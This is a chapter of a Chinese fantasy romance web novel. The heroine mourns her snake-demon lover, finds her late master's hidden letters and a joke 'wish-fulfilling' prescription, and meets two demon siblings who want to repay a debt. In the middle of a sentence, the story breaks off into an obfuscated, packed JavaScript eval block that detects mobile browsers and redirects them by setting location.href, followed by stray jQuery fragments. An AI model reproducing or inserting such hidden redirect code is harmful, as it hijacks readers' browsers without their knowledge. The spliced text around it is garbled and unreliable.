五十九、后事


    花都山一战后，崔彬崔鸿带人遣散了所有巫铃使，放出了关押在山牢里的人和妖，并将所有的巫铃和槐尸蛊虫销毁，从此往后，世上再无这害人的槐尸蛊。大军回到皇都，崔彬软禁宇文希，在众人的拥护下称帝。


    陶云停则带着陶文秀的尸首回了北海楼安葬，而黎芊芊和魏止郢留在了苗疆。


    卜尤卜槐一死，曾经站族长这边的人纷纷倒戈，将巫女黎眷又捧了出来，但黎眷本身不喜欢管理族中事务，黎家也没有可以接替的人，一时间族长之位空虚，群龙无首。


    而黎芊芊早已和苗疆脱去了关系，更不可能坐上族长之位，她留在这里，只为了她记忆中最深刻的那一部分。


    拥有了自己的和师辰风的记忆，她看着玉林山的一草一木，内心更是五味杂陈。


    魏止郢陪她去山下买了一只檀木盒子，又将蛇鳞洗得干干净净，轻轻安放进去。


    她端着那只盒子，说沉不沉，说轻不轻，沉得像他深重的爱，轻得像他的一生。


    凭着记忆，她走进了一处小院子。


    这里不知何时被人抄了，屋里的家具胡乱地堆在院子里，已经落满了尘埃。


    这里就是“丰月居”，一个正屋，一个东厢房，和王府的摆设几乎一模一样。黎芊芊和黎人青曾经一直住在这里。


    她走进东厢房，这里是一间药房，药柜已经倒了，所有的药材也散落满地，给蜘蛛小虫安了个家。


    她又来到正屋，进门是一张桌面和桌腿分了家的桌子，墙上处处泛着破败的灰色。


    左边是卧房，她和黎人青的床之间隔了一道屏风，如今那扇屏风也不知去了哪里。


    右边是书房，有黎人青的大桌子，还有黎芊芊的小桌子，两人共同用着一个书架。


    那些珍贵的书也被撕破了，扔在地上。


    她把手中的盒子放在桌上，废了些力气拉开了锈住的抽屉，伸手进去，向抽屉上面一探，竟掏出一只小铁盒来。


    黎人青在世时，会把重要的东西都藏在这个暗格里面，黎芊芊很小就知道，但她从不会去窥探师父藏了什么东西。


    小铁盒也锈住了，只好用银光一点点撬开它。


    刚一打开，两个银制品映入眼帘，虽然已锈上大片大片的黑斑，黎芊芊也记得他们是什么。


    一支绿吟花，还有一条吐着信子的歪歪扭扭的小蛇。


    下面压着几张泛黄的纸。


    第一张，是黎人青在快死时写下的槐尸蛊的减毒方，他曾给过黎芊芊一份，只是当时不知自己丢到了哪里，有了师辰风的记忆才明白，原来是被之前的陶文秀捡了去。


    陶文秀的实践正证明了此减毒方竟能让中了尸毒的人活如此长的时间，只可惜黎人青自己却没能活下来。


    第二张是写给黎芊芊的信，是她认黎人青为师父时写的，信中是一些家训云云。


    第三张是一张药方，这张药方，黎芊芊再熟悉不过了。


    方名写着，心想事成。


    “白鹤、雪兔、银龙、素蝶皆为珍稀妖类，不得胡乱猎杀；珍珠草、温泉岩心皆为杜撰之物，芒种朝露、金汤玉液更是戏耍之言。吾戏之，以白玉蛇骨为药引，方可心想事成，芊芊竟信以为真。


    “纵如人死不能复生，心想之事，日久只会熬成心魔，更不得成全。”


    黎芊芊捏着几张纸，脸上掉下的泪打湿了脆弱的纸。


    这方子并不叫起死回生，而叫做心想事成，只不过心中想要圆满的事，就是起死回生。


    她忽然无法再回想以前的事了，无数的悲伤从心口喷涌而出，所有的感官都减弱了，喉头鼻腔泛着酸楚，眼前的景色一阵模糊，眼泪止不住地掉下，几乎要连成一条线。


    她忽然抱住装着白蛇的檀木盒，号啕大哭起来。


    魏止郢在院子里转着，听到动静立马跑进了屋，在看到她颤抖的后背之后，又默默退了出去。


    所有的一切都是假的，只有人死了是真的。


    很多人都死了，很多人还活着，可独独死的是师辰风，活的是黎芊芊。


    他说他的心愿是住在一个叫丰月居的地方，陪着一个叫黎芊芊的人，仅此而已，简单的事情，对于他却成了奢望。


    他总说喜欢黎芊芊，而黎芊芊这才发现，自己竟没有一句回应。


    我爱你、我喜欢你这种话原来总是要等到死了再说，总要等到死了才能明白。


    *


    两个月后。


    黎芊芊并未留在苗疆，而是回了北疆的王府，这里的丰月居还留着，只不过宇文暄死了，这里也就不再叫王府了，黎芊芊起了个名字，叫做无名居。


    陶文秀死后，陶云停遣散了北海楼众，和父亲经营着医馆。不久后，饭团和赵思带来的小狸儿下了一窝猫崽，她给黎芊芊送过去两只。


    魏止郢则是道别众人，离开辰国去游历更远的地方，听说要找一位朋友。


    花千鸩仍然经营着梦千回，但不再以逃离槐尸蛊为主，而是大大方方地载歌载舞，甚至还组织开展了歌舞学堂，顺便收集一些江湖上的情报。


    黎芊芊常常坐在丰月居门口，一坐就是一天，无名居大大小小的路都挂满了灯笼，好像师辰风怕她看不见似的。


    她也常常去蒲婆婆的茶花斋去，听蒲婆婆讲师辰风的事。


    虽然她什么都知道，甚至还能感受到师辰风在每件事上的态度，但再从蒲婆婆嘴里讲出来，就更有趣了。


    像是经历了一遍她错过的他的人生。


    师辰风葬在了一处山坡上，正是他们一同去看夕阳的地方。


    当时他运着轻身功夫，点点脚就上来了，黎芊芊一个人却爬了很久。


    刚好，日已西斜，纷纷落雪仍旧像那天一样。


    片片霞光穿过雪幕，每一片雪花都折射着温暖的颜色。


    你能发现这样一个看夕阳的好地方，是不是已经看过很多次？


    当你一个人来看夕阳的时候，心里在想什么？


    你会不会像我想念你一样想念着我呢。


    黎芊芊看着金色的太阳，就像他金色的眼睛。那双眼睛倒映出自己的脸，在他的眼里从来没有消失过。


    *


    在无名居住了一些日子，黎芊芊收到了一则见面邀请。


    花千鸩派时鸳送来一封信，信中说有人想要见她。


    什么人会知道她在这里？


    若是她认识的人，根本不用花千鸩带信。


    若是不认识的人，那他来找自己能做什么？


    黎芊芊稍做思索，便跟着时鸳去了梦千回。


    来到后楼，进了那间颇为熟悉的屋子——黎芊芊曾经待过的地方，花千鸩身旁坐着两位陌生的妖，一男一女，裸露的皮肤有星星点点的花色鳞片，二人嘴里细细的蛇信你一下我一下地吐着，不知是故意露出来，还是本就没修炼完全。


    见黎芊芊走进，两人眼里就像放出了光，赶紧起身迎了上去。


    “您就是……圣手阁下？”那女妖道。


    黎芊芊怔了一下，好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426730|182272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像很久没听到这样的称呼了。


    “我姓黎，叫我黎芊芊就好了，您是……？”她道。


    女妖道：“我们姐弟俩，黎恩人叫我山上就好了，这是我家弟弟，他叫山下。”她揽了一把身边的男妖，“我们是从花都山一路打听到这里来的。”


    黎芊芊先是诧异她为什么叫自己恩人，后来又被姐弟俩的名字吸引，最后听到“花都山”，她不由得更专注起来。


    山上继续娓娓道：“我们两个在修炼途中，被那些人抓进了山牢、打碎了灵核，才变成现在这个样子……”


    黎芊芊喃喃道：“抱歉……”


    “后来听说是您和一位大妖杀了那些人，我们才能逃出来。”山上道，“我们也打听到，那位大妖跟追随赤尊灵使的脚步回到了灵界……”


    黎芊芊心中苦涩起来，心道：“原来妖死了之后还有这些说法，和人死了之后去黄泉是一样的吗。”


    她嘴上则是否定道：“并没有我，都是他的功劳。”


    山上一脸忧愁，牵住她的手：“但您是他重要的人。”


    黎芊芊低头看了一眼她的手，长长的指甲，小心翼翼地围在外面，尽量不碰到黎芊芊。


    山上道：“我们二人如今也是两副半死之身，只想找到救了我们的恩人，然后追随至死。”


    黎芊芊反应了一下，忙道：“不可、不可！山上……姑娘，他才是你们的恩人，我不过是有幸经历而已……”


    山上摇摇头：“黎恩人是不是玉林山的黎家后代？”


    黎芊芊犹疑着点点头。


    山上道：“那便对了，我们不但是追随这次报恩而来，更是因为我们山蚺一族受黎家荫蔽，才能存活。”


    她道：“黎恩人还记不记得十年前的玲珑蛊？”


    黎芊芊道：“玲珑蛊？”


    山上道：“卜尤专找一些皮坚肉厚的妖来试验蛊的毒性，山蚺生在烈日沙地，自然是他的不二之选……”


    黎芊芊已经知道她想说什么了。


    卜尤的玲珑蛊，主要是用玲珑花心喂养蛊虫，其蛊可使人在几日之内好似被幽鬼吸干，虚脱致死。找一些壮实的妖，就可以试出蛊毒是强是弱。


    而解蛊的鹊唳则用了玲珑子，攻逐脑中诸虫，蛊虫死，蛊当解。


    让她拿到“圣手”之称的鹊唳，不但掐死了卜尤的蛊虫，更是在冥冥之中救了很多妖的性命。


    “大妖已逝，实是可惜，我同山下悼念许久，”山上道，“只望恩人能接纳我们，用剩下的时间报答恩情！”


    黎芊芊仍是不愿：“若是没有住处，大可同我住在无名居，但若是报恩……我只是不愿你们将自己的生命浪费在别人身上，我会感到惶恐……”


    山上马上改口道：“黎恩人……不，黎姑娘，我们并非想要来蹭吃蹭喝，我们准备在北疆落脚，开间铺子，只想黎姑娘若是有困难，放心去找我们。”


    黎芊芊这才点头妥协：“好……”


    又聊了些过去的事，只不过是山上一人在滔滔不绝，最后，黎芊芊以身体不适为由道别了姐弟二人。


    回到屋中，走进书房，她拉好帘子，不愿外面路过的家丁看到自己。


    好像只有不被人盯着的时候，才能安心。


    她摊开面前的书卷，上面写满了字。


    她又拿起笔，沾了些墨继续写了下去。


    这些日子里，她慢慢回忆之前的事，包括自己的和师辰风的记忆，并一件一件记录下来，试图理清所有的事。


    -卷一完-